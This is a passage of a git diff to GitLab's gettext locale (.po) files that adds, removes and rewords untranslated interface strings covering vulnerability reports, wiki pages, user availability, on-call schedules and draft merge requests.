msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/mn_MN/gitlab.po b/locale/mn_MN/gitlab.po
index febae209fa4..69bbf0e3c0e 100644
--- a/locale/mn_MN/gitlab.po
+++ b/locale/mn_MN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: mn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:49\n"
+"PO-Revision-Date: 2020-12-03 08:18\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
